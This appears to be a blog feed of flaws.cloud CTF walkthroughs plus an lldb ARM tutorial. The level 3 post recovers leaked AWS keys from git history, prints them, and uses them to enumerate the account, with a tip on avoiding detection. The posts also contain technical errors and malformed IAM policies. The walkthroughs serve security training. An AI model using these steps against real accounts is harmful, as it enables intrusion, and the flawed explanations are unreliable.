DEV Community: gardnerapp

Offensive Git Forensics: Flaws.cloud Level3

gardnerapp — Mon, 12 Jun 2023 15:37:26 +0000

If we hop on over to level3 at http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ we'll find ourselves on another static website. Keeping with the themes of earlier levels lets assume that the site is hosted on s3 in the us-west-2 region with a bucket name that is the same as the domain name. We'll run the following from our terminal:

18:48:20 $ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ 
                           PRE .git/
2017-02-26 19:14:33     123637 authenticated_users.png
2017-02-26 19:14:34       1552 hint1.html
2017-02-26 19:14:34       1426 hint2.html
2017-02-26 19:14:35       1247 hint3.html
2017-02-26 19:14:33       1035 hint4.html
2020-05-22 14:21:10       1861 index.html
2017-02-26 19:14:33         26 robots.txt

Unfortunately there isn't anymore low hanging fruit in the form of a secret page we can view through ListBucketResult. What exactly is different about this bucket? Well it has a .git directory, and although git is very useful and convenient the occasional user manages to spill secret credentials by not blacklisting files within .gitnore or making old commits publicly available.

To access the history of the project provided by git we first need to download the entire project with the s3 sync command. If you want to know more about this command you can run aws s3 sync help which will pull up the man pages.

We'll clone the bucket in it's entirety into a new directory which we'll name level 3:

 aws --profile sudo s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ level3
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/COMMIT_EDITMSG to level3/.git/COMMIT_EDITMSG
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/description to level3/.git/description
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/HEAD to level3/.git/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-rebase.sample to level3/.git/hooks/pre-rebase.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/post-update.sample to level3/.git/hooks/post-update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-commit.sample to level3/.git/hooks/pre-commit.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/commit-msg.sample to level3/.git/hooks/commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/prepare-commit-msg.sample to level3/.git/hooks/prepare-commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/applypatch-msg.sample to level3/.git/hooks/applypatch-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/config to level3/.git/config
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-applypatch.sample to level3/.git/hooks/pre-applypatch.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/index to level3/.git/index
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/update.sample to level3/.git/hooks/update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/info/exclude to level3/.git/info/exclude
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/HEAD to level3/.git/logs/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df to level3/.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25 to level3/.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c to level3/.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b to level3/.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/refs/heads/master to level3/.git/logs/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 to level3/.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f2/a144957997f15729d4491f251c3615d508b16a to level3/.git/objects/f2/a144957997f15729d4491f251c3615d508b16a
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2 to level3/.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2 to level3/.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c to level3/.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526 to level3/.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint1.html to level3/hint1.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint3.html to level3/hint3.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61 to level3/.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/robots.txt to level3/robots.txt
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint2.html to level3/hint2.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/index.html to level3/index.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/refs/heads/master to level3/.git/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint4.html to level3/hint4.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c to level3/.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/authenticated_users.png to level3/authenticated_users.png

Woah that's a lot of files! Looking through each and every one of them would be tedious, we need to take a systematic approach to looking through these. But first let us see what we've downloaded.

18:59:25 $ cd level3 
18:59:27 master $ ls
authenticated_users.png hint2.html      hint4.html      robots.txt
hint1.html      hint3.html      index.html

For those who don't know writing software is a messy business. 1 misspelled character can spill a stack trace hundreds of lines long and take down your app in it's entirety. Git is a version control system that makes writing software a tad bit less messy.

Git has what are called branches, which are basically rough drafts for different features. If I wanted to implement a photo upload feature to an already existing app I'd create a new branch. Once the code is written and tested the developer will commit the code, which is like hitting save on an Excel or Word document. Lastly, there are merges which is a system for combining different branches. Once the photo upload feature is finished, the branch is committed and then merged to the main or master branch of the repository. Git is an essential skill for software developers and red teams alike, I highly recommend learning git from Michael Hartl's Learn Enough Series.

As you can see when we ran ls from our synced directory we are in the master branch of the project, essentially we're looking at the production code for the application. To see if the developer had any other working branches we can run:

7:07:22 ~/level3 master $ git branch
            * master

So we only have access to one branch, but not all hope is lost we still can do a lot of poking and prodding with the git log command, which will pull up the history of the projects commits:

7:13:40 ~/level3 master $ git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

Commits are given hexadecimal hashes as means of identification and authenticity validation, and each commit has a message and we can see from the 64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 the author added something they shouldn't have.

We can check the difference between commits with the git diff, see git diff --help for more details. In this case we'll want to see the difference between the first commit and the authors accidental commit like so:

7:18:09 ~/level3 master $ git diff b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 f52ec03b227ea6094b04e43f475fb0126edb5a61 
diff --git a/access_keys.txt b/access_keys.txt
new file mode 100644
index 0000000..e3ae6dd
--- /dev/null
+++ b/access_keys.txt
@@ -0,0 +1,2 @@
+access_key AKIAJ366LIPB4IJKT7SA
+secret_access_key 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

We see that the author stored a series of access keys in plain text in the mistaken commit, these keys are available to us. Before we use them I want to show you how to go back in time to a particular commit to poke and prod around, we'll use the git checkout command. The git checkout command is primarily used for creating, destroying and moving around on branches in your repositories project. But it can also be used for going back and forth between commits. Let's go back to the commit directly before the author noticed their mistake like so:

7:25:12 ~/level3 heads/master $ git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
M   index.html
Previous HEAD position was b64c8dc Oops, accidentally added something I shouldn't have
HEAD is now at f52ec03 first commit
7:25:19 ~/level3 master~1 $ ls
access_keys.txt     hint1.html      hint3.html      index.html
authenticated_users.png hint2.html      hint4.html      robots.txt
7:25:20 ~/level3 master~1 $ cat access_keys.txt 
access_key AKIAJ366LIPB4IJKT7SA
secret_access_key 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

Once we check our selves into the original commit we can look around and see that the file structure changes revealing the presence of a plain text file holding access key credentials. There is nothing stopping us from using these keys.

The AWS CLI allows us to configure multiple profiles for use. If we open up our ~./aws/credentials file we can add the keys we found as a profile called flaws like so:

[flaws]
region = us-west-2
aws_access_key_id = AKIAJ366LIPB4IJKT7SA
aws_secret_access_key = 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

Now that we've obtained credentials we'll want to know whom we're
maneuvering as and what kinds of permissions they have. From there
we'll leverage the services we have access to in order to gain
elevated privileges onto even more AWS resources.

AWS STS ie. Security Token Service is an API for interacting with the
various token credentials AWS offers. You can read more on STS here https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html and a list of api calls supported by STS can be found here https://docs.aws.amazon.com/cli/latest/reference/sts/index.html

We can find out who our profile is acting as through the get-caller-identity command like so:

 aws --profile flaws sts get-caller-identity
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}

Now that we know our username is backup we can try interacting with the iam api to see a list of policies attached to the user:

$ aws --profile flaws iam list-attached-user-policies --user-name backup

An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::975426262029:user/backup is not authorized to perform: iam:ListAttachedUserPolicies on resource: user backup because no identity-based policy allows the iam:ListAttachedUserPolicies action

Unfortunately this provides an access denied error. The author was smart enough to restrict access to some resources. This doesn't mean we've hit a dead end, we just don't have a working list of the resources that our profile has access to. We'll have to probe various services like s3 to see what kinds of access we have.

Obviously we're in a CTF and we don't care about how many access denied returns we get, there is no security team watching. In a live environment we'd have to worry about two things: 1) manual analyst meticulously and faithfully combing through log files and 2) automated alerts. The best we can do while blindly probing is hope that we don't trigger too many access denied calls within a short period of time. That is our only hope of remaining incognito.

We know that the author has made mistakes in the past in regards to s3 permissions so lets try to toy around with those, we'll start by listing all of the s3 buckets with the ls command:

 aws --profile flaws s3 ls
2020-06-25 13:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-26 19:06:07 config-bucket-975426262029
2020-06-27 06:46:15 flaws-logs
2020-06-27 06:46:15 flaws.cloud
2020-06-27 11:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-27 11:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-27 11:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2020-06-27 11:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-27 11:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2020-06-27 22:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

Wonderful ! We even have access to some log files, but lets assume they were smart enough to protect those and not run an ls command on that bucket to avoid building bad habits and tipping off the boys in blue.

Now that we know the name of the level 4 bucket we also know the URL it is located at. I'll see you there in the next installment of the series !

Git commits are reversible with the reset, revert and delete commands. You can learn more about correcting mistaken git commits with this tutorial: https://www.git-tower.com/learn/git/faq/delete-commits/

As you saw there were a series of flaws that allowed us to compromise the apps security. The first was allowing access to the bucket to anyone with s3 credentials. Originally the author stored AWS credentials in plain text within their repository and then committed them to version control. Plaintext credentials should never be stored, any type of access or secret keys need to be encrypted before being stored.

Although the author did a good job of removing the access keys from version control they neglected to destroy the commit which spilled the secrets. When they noticed that they had published secret keys to version control they should've rolled back these keys. Automatically invalidating and rotating access keys is a good policy because if an attacker gets hold of keys and you don't know about it they will only have so much time to work with those specific keys before they expire.

Lastly the author did not follow the principal of least privilege, which states that an app, service, or user should only have the bare minimum access to the resources that they need to function. On AWS this means that if I generate a user to only manage buckets that user should only have bucket related permissions, they shouldn't be able to spawn EC2 instances, use EKS, or have access to ECR.

In terms of a real life analogy I like to think of the principal of least privilege in terms of sports. Specific players have specific roles, some are the shooters whilst others play more of a supporting role. The supporting player can mess the whole game up by having the ability to take too many shots.

AWS Pentesting: Flaws.cloud level 2

gardnerapp — Mon, 12 Jun 2023 15:33:10 +0000

Level 2 of flaws.cloud is located at http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/. The author provides us with a hint that we're going to need a free AWS account to complete this level. I'm not going to show you how to sign up for AWS, create a user with API keys or download and configure the AWS CLI because all of that has been done else where and my re-iterations won't provide you or I any value.

Instead I'm going to assume you've got the AWS CLI running and are ready to go. Just to refresh we're on an AWS hosted website and we need to find a flag. We know that the author likes to host websites on s3, so we'll try some of the techniques from the last tutorial.

A lot of offensive security is trial and error, which is a fancy way of saying guessing. In a traditional environment we'd take guesses at some of the malicous characters that would dump SQL errors or the types of encodings that can bypass filtering on XSS or SQL injection. For this level we'll take a guess that the site is hosted on s3, and using the rules I discussed in the last post we'll assume that the bucket name is the same as the domain, which would mean our buckets name is level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud.

We can head on over to the AWS s3 access point over at https://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud.s3.us-west-2.amazonaws.com . Which will provide us with this XML tree:

<Error>
<Code>AccessDenied</Code>
<Message>Access Denied</Message>
<RequestId>YXQXTJMXFJD1H6JY</RequestId>
<HostId>
5x4NfnQht5RocFNtbPIA2KDbSj9b4cLm61GU4A80nGsLqBwcf5R8/qMES1v1Mu7z839C9QlFpIw=
</HostId>
</Error>

This shows us that our bucket does indeed exist, if it didn't the access point would have provided this error:

<Error>
<Code>NoSuchBucket</Code>
<Message>The specified bucket does not exist</Message>
<BucketName>MADEUPBUCKETNAME</BucketName>
<RequestId>DN4KZM9ZHQC1DQQM</RequestId>
<HostId>
npQ+aV7p0CMJ1tqMXz9kWeCEPy8xEVLFniXRv26IvoBWmyKf93LwB6gE6ZFl80gyCFraolDp1CQ=
</HostId>
</Error>

Notice how even things like errors and access denial can still provide us with a map of the infrastructure. In more complex offensive scenarios things like timing and even sound can provide valuable clues.

So we know our buckets name, it's region and that it's owner wisened up to lock out public access. Where do we go from here? Well the author did say that we needed AWS credentials lets put them to use. Note the entirety of the AWS CLI documentation can be found here https://docs.aws.amazon.com/cli/latest/index.html .

Let's see if we can list all of the objects in this bucket by using the ls command like so:

17:32:28 ~ $ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ 

2017-02-26 21:02:15      80751 everyone.png
2017-03-02 22:47:17       1433 hint1.html
2017-02-26 21:04:39       1035 hint2.html
2017-02-26 21:02:14       2786 index.html
2017-02-26 21:02:14         26 robots.txt
2017-02-26 21:02:15       1051 secret-e4443fc.html

Bingo, we now can see all of the objects in this bucket. Let's checkout the secret page by heading on over to http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html

Once again we have a misconfigured bucket that allows the GetObject and ListBucket result permissions. Although these permissions are slightly better than the last levels they really are basically the same as public permissions because everyone can make an AWS account in less than 15 minutes.

To remediate this situation the developer would have to permit the ListBucketResult action to that of the individual(s) within their organization. In order to hide the secret page the developer could use the Deny clause on the Effect key to explicitly block the public from accessing the bucket like so. An example of this statement is shown below:

"Statement": [
        "Sid": "AllowListAndGetToPublic",
        "Effect": "Deny",
        "Principal": "*",
        "Action": [
            "s3:GetObject",     
        ],
        "Resource": "arn:aws:s3:::level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html"
    ]

Debugging ARM Assembly With LLDB Part 1. Setting Break Points

gardnerapp — Tue, 30 May 2023 18:32:54 +0000

In this tutorial I'm going to be teaching you how to debug ARM assembly language on MacOS with the lldb debugger. Ultimately, my goal with these tutorials is to teach advanced debugging techniques which will be applicable to both offensive and defensive information security. These tutorials are designed for novices with very little programming experience.

Lets get started by writing a simple C program like so:

// hello_world.c

#include <stdio.h>

int main(){
        printf("Hello, World !\n");
        return 1;
}

As I've said before C is the Latin of programming languages, it is a very verbose language that has influenced innumerable programming languages. It is very nice in that it gives the programmer a ton of control over memory utilization, and because it is a compiled language it runs very fast. Because of these traits C was the language chosen to write most operating systems and higher level programming languages in.

C is such a low level language that in order to print something to STDOUT we must include the Standard Input/Output library, which is exactly what we're doing when we declare #include <stdio.h> at the top of our program, this allows us access to the printf function.

All programs must run in a main function, languages like Ruby, Python and JavaScript abstract away the utilization and deceleration of a main function but if you look at the stack traces for those languages closely you'll see that it is there in the background. Functions run and evaluate to a value, and we must specify the type of that value so that the CPU can allocate a proper amount of memory.

In this short example we return an integer which is a rational number which takes up 4 bytes of memory. A byte is a collection of 8 bits. A bit is a single segment of memory that can be in a binary state of either a 1 or 0. This means that an integer is actually composed of 32 1's or 0's residing within memory. Typically a successful run of a program will be denoted by returning 1, while an error will be noted by the return of 0.

Computers are smart, but they aren't smart enough to read and run C program. C is just a convenient language for humans to write in. A compiler is what transforms our C code to a series of binary instructions that the computer can "understand" and execute.

MacOS comes with the gcc compiler by default. Gcc can do a lot, if you run gcc --help you'll see all of the different flags that the tool comes with. We're only compiling a relatively simple program and we can do so with this command:

gcc -g -o hello_world hello_world.c

The -o flag allows us to name our executable in this case it will be called hello_world. The -g flag tells our compiler to store the debugging symbols of the executable within a .dSYM directory. If you poke around and run ls in the directory where you compiled your program you'll notice that we now have a hello_world executable and a hello_world.dSYM directory. The -o flag is optional, if we chose to omit it our binary would be given the default name which is a.out, and correspondingly a a.out.dSYM directory would be created.

Lets run our executable by typing ./hello_world into the terminal.
You didn't come here just to write "Hello, World!" programs. It's time to dive deep into the magical world of computation by debugging our executable with lldb the native debugger on MacOS. The debugger will bring us into a shell like environment where we can run, pause and modify our program in real time. You can start your debugger with lldb hello_world.

You're now in the debuggers shell. If you ever get lost you can run help to see a list of commands. If you want to know more about a specific command, say for example the breakpoint command you would type help breakpoint. Lastly there are sub-commands to each command and if you wanted to learn more about the breakpoint set command you'd type help breakpoint set.

Now that we're in our debugger shell we can view our original C code by running
list main which should produce the following:

File: /Users/corery/c_projects/hello_world.c
   1    #include <stdio.h>
   2    
   3    int main(){
   4        printf("Hello, World !\n");
   5        return 1;
   6    }
   7

Let's pause our program right before the printf function executes by setting a break point on line 4.

(lldb) breakpoint set -l 4
Breakpoint 1: where = hello_world`main + 24 at hello_world.c:4:2, address = 0x0000000100003f88

The address of line 4 within the memory of the binary is at 0x0000000100003f88. This number is written in what is called hexadecimal which is a base 16 numerical system, as opposed to the traditional base 10 numbering system that you're used to. The numeral system of base 10 vs base 16 is shown below:

base 10 | base 16
________|___________
    0   |   0
    1   |   1
    2   |   2
    3   |   3
    4   |   4 
    5   |   5
    6   |   6
    7   |   7
    8   |   8
    9   |   9
    10  |   A
    11  |   B
    12  |   C
    13  |   D
    14  |   E
    15  |   F

Typically when debugging you don't need to convert hexadecimal numbers to base 10 to understand what's going on, that would be way too much work. You just need to be able to understand where different segments of memory addresses are in relation to one another. That is to say which addresses are higher and lower than one another.

Now that we have some understanding of base 16 and we've set a breakpoint it's time to run our program with the unironically name run command. Notice how the program stops just before the printf call. You should see the following:

(lldb) run
Process 3181 launched: '/Users/corery/c_projects/hello_world' (arm64)
Process 3181 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000100003f88 hello_world main at hello_world.c:4:2
   1    #include <stdio.h>
   2    
   3    int main(){
-> 4        printf("Hello, World !\n");
   5        return 1;
   6    }
   7    
Target 0: (hello_world) stopped.

Our debugger conviently shows both the memory adress of the paused programs code and the actual C line which we're stopped at. Exectables like the one we compiled are divided into 4 memory segments from lowest to highest adresses they are the code, data, stack, and heap. We'll dive into each of these segments into more detail later, for now all you need to understand is that the code segment stores the actual instruction set for the executable and as you can see our program is paused at the instructions located at 0x0000000100003f88.

As our program takes a break from running we can finally dive into the magical world of ARM assembly. Lets disassemble our program.

(lldb) disass
hello_world`main:
    0x100003f70 <+0>:  sub    sp, sp, #0x20
    0x100003f74 <+4>:  stp    x29, x30, [sp, #0x10]
    0x100003f78 <+8>:  add    x29, sp, #0x10
    0x100003f7c <+12>: stur   wzr, [x29, #-0x4]
    0x100003f80 <+16>: adrp   x0, 0
    0x100003f84 <+20>: add    x0, x0, #0xfa8         ; "Hello, World !\n"
->  0x100003f88 <+24>: bl     0x100003f9c            ; symbol stub for: printf
    0x100003f8c <+28>: mov    w0, #0x1
    0x100003f90 <+32>: ldp    x29, x30, [sp, #0x10]
    0x100003f94 <+36>: add    sp, sp, #0x20
    0x100003f98 <+40>: ret

That's a lot to take in, as you can see our 2 line C function produced 11 lines of assembly, imagine how much assembly a 100 line C program would produce. I used to think of C as a low level programming language, mostly because I was used to programming with Ruby but after realizing how verbose and complex assembly language is I came to appreciate the level of abstraction and utility of C.

You came here to understand ARM assembly, so lets break down the first line of code.

0x100003f70 <+0>: sub sp, sp, #0x20

The 0x100003f70 all the way to the left is the memory address of the instruction. The actual instructions located at 0x100003f70 are located all the way to the right ie. sub sp, sp, #0x20. Like any language ARM assembly has a grammar or syntax that it's instructions must meet. In this case the format is <operation> <destination>, <source1>, <source2>. Note note all instructions make use of the second operand as it is refereed to as flexible. Flexible operations are a distinguishing feature between x86_64 and ARM assembly.

Before diving into what every line of this assembly means we need to understand two concepts: registers and operations. A process register is a hardware variable, it is where our computer stores data as the program executes. Registers are stored within the RAM of the system, the more RAM you have the more processes you can run in parrallel because you have more available registers. We'll go over registers in the next part of this series.

Securing S3 Buckets: Flaws.cloud level1

gardnerapp — Mon, 29 May 2023 18:57:34 +0000

This is a tutorial for those with beginners to moderate computer skills, where we'll be learning security concepts on the AWS cloud platform by playing the flAWS CTF. A pen test or red team exercise is useless unless the security risks and mistakes can be explained to the development team. Unlike other tutorials which only tell you how to capture the flag I'm going to take things a step further by providing remediation and recommendations.

If you'd like to try the CTF on your can check it out at http://flaws.cloud. The first step of every engagement is to conduct reconnaissance, useful information like where our application is running and what it's tech stack is will help us determine at which angle to attack it from. We can figure out the IP address of flaws.cloud by running a pin command like so:

ping flaws.cloud PING flaws.cloud (52.92.138.91): 56 data bytes 64 bytes from 52.92.138.91: icmp_seq=0 ttl=232 time=116.146 ms 64 bytes from 52.92.138.91: icmp_seq=1 ttl=232 time=116.076 ms 64 bytes from 52.92.138.91: icmp_seq=2 ttl=232 time=114.995 ms ^C

Ping sends a series of packets, specifically ICMP packets to the server that the flaws.cloud domain name points to. Ping is a tool used to see if a server is online, it's like yelling "Hello !" at the server and waiting for an answer back from the server. Ping automatically converts a domain name to an IP address by contacting what is called a name server, which is basically analogous to a phone book that tells everyone which IP addresses are associated with which server.

Determining the name server can help us understand which services within the cloud the application is running on. We can find the name server by running
nslookup 52.92.138.91 which will produce the following:


Server:     2001:578:3f::30
Address:    2001:578:3f::30#53

Non-authoritative answer:
91.138.92.52.in-addr.arpa   name = s3-website-us-west-2.amazonaws.com.

Attacking the name server would be out of scope, but we do find some valuable information in that the website is being hosted in S3 within the us-west-2 region. This information will allow us to interact with the website through the aws command line tool and the other HTTPS endpoints offered by S3.

S3 is an acronym that stands for "simple storage
service", it can be used to store literally anything like CSS, JavaScript, HTML files, log backups, and even memes. To break into a system we must understand what the rules are for using that system like how assets communicate with each other and how their permissions operate. With all that being said here are some basic rules of S3 that you might not know:

1) Objects are stored in collections called buckets, think of a
bucket as a folder or database table.

2) There are a series of permissions that determine which other AWS accounts or services can read, write or edit objects within an S3 bucket.

3) Buckets are stored in regions and in order to access the bucket we must know both its name and the region where it is located. See
https://docs.aws.amazon.com/AmazonS3/latest/userguide/
access-bucket-intro.html for more info.

4) When hosting a static website on S3 the domain name of the bucket must be the same as the buckets name. Don't ask me why this is, it was probably just easier for the AWS developers to set things up this way.

Now that we know the buckets name flaws.cloud and its region
us-west-2 we can go visit the site via the AWS s3 access
point. HTTP access points all follow the same syntax which is https://<bucket name><bucket region>.amazonaws.com. Which means the flaws.cloud bucket will be hosted at https://flaws.cloud.s3.us-west-2.amazonaws.com. If you go on over to this site you'll find this XML tree:

<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>flaws.cloud</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>hint1.html</Key>
<LastModified>2017-03-14T03:00:38.000Z</LastModified>
<ETag>"f32e6fbab70a118cf4e2dc03fd71c59d"</ETag>
<Size>2575</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>hint2.html</Key>
<LastModified>2017-03-03T04:05:17.000Z</LastModified>
<ETag>"565f14ec1dce259789eb919ead471ab9"</ETag>
<Size>1707</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>hint3.html</Key>
<LastModified>2017-03-03T04:05:11.000Z</LastModified>
<ETag>"ffe5dc34663f83aedaffa512bec04989"</ETag>
<Size>1101</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>index.html</Key>
<LastModified>2020-05-22T18:16:45.000Z</LastModified>
<ETag>"f01189cce6aed3d3e7f839da3af7000e"</ETag>
<Size>3162</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>logo.png</Key>
<LastModified>2018-07-10T16:47:16.000Z</LastModified>
<ETag>"0623bdd28190d0583ef58379f94c2217"</ETag>
<Size>15979</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>robots.txt</Key>
<LastModified>2017-02-27T01:59:28.000Z</LastModified>
<ETag>"9e6836f2de6d6e6691c78a1902bf9156"</ETag>
<Size>46</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>secret-dd02c7c.html</Key>
<LastModified>2017-02-27T01:59:30.000Z</LastModified>
<ETag>"c5e83d744b4736664ac8375d4464ed4c"</ETag>
<Size>1051</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>

Alternatively we could see all of the objects in the S3 bucket through the AWS cli by running aws s3 ls s3://flaws.cloud --region us-west-2.

Why are we seeing this? One of the permissions developers can set on buckets is the ListBucketResult permission which allows a user to see all of the objects within the bucket. S3 permissions can be configured to allow or prohibit specific AWS users to do or not do this or that but they also apply to non-aws resources like the public.

In this case the ListBucketResult permission is open to the public meaning that anyone can see everything within the bucket including the secret-dd02c7c.html file. All static websites hosted on S3 will default to having their homepage set to index.html. If I have a foo.html file within my bucket this file will be available at mys3website/foo.html. That being said if we visit flaws.cloud/secret-dd02c7c.html we'll find the flag and go on to the next level.

So where did the developers go wrong? Their first mistake was allowing for the ListBucketResult permission open to the public. With this permission anyone and everyone can see that they had a secret file stored in S3. Their second mistake was that they also allowed for the S3GetObject permission to be open to the public on the entirety of the bucket, including secret file. Which means that anyone can request to see the secret file. This is probably what the permissions for this bucket looked like:

{
    "Version": "2012-10-17",
    "Id": "FaultyS3Permissions",
    "Statement": [
        "Sid": "AllowListAndGetToPublic",
        "Effect": "Allow",
        "Principal": "*",
        "Action": [
            "s3:GetObject",
            "s3:ListBucket"
        ],
        "Resource": "arn:aws:s3:::flaws.cloud"
    ]
}

The meat of these permissions are in the Statement key where the Effect grants permissions through Allow. These permissions are applied to everyone, including the public through the Principal key which tells AWS which users and services should have access. Its value set to the anonymous permissions as denoted by the splat *. The Action list describes what users can actually do, in this case list and get all of the objects in the bucket. Lastly the Resource key is saying to apply these permissions to the flaws.cloud bucket.

The developer needed to have prohibited the public from being able to list and get every single object in the bucket. By default AWS does not grant users or the public permissions, the developer had to go out of the way to give these permissions. Rather than denying the public the ability to list objects in the bucket and get the secret file we would want permissions that only allow our admin account do so.

Here is what a more secure set of permissions would have looked like:


{
    "Version": "2012-10-17",
    "Id": "ProhibitPublicListing",
    "Statement": [
        "Sid": "AllowListBucketForDefau;lt",
        "Effect": "Allow",
        "Principal": "arn:aws:iam::12345:user/Default",
        "Action": [
            "s3:ListBucket"
        ],
        "Resource": "arn:aws:s3:::flaws.cloud/"
    ],

    "Statement": [
        "Sid": "HideSecretFile",
        "Effect": "Allow",
        "Principal": "arn:aws:iam::12345:user/Default",
        "Action": [
            "s3:GetObject"
        ],
        "Resource": "arn:aws:s3:::flaws.cloud/secret-dd02c7c.html"
    ],

    "Statement": [
        "Sid": "AllowPublicAccessToWebPages",
        "Effect": "Allow",
        "Principal": "*",
        "Action": [
            "s3:GetObject"
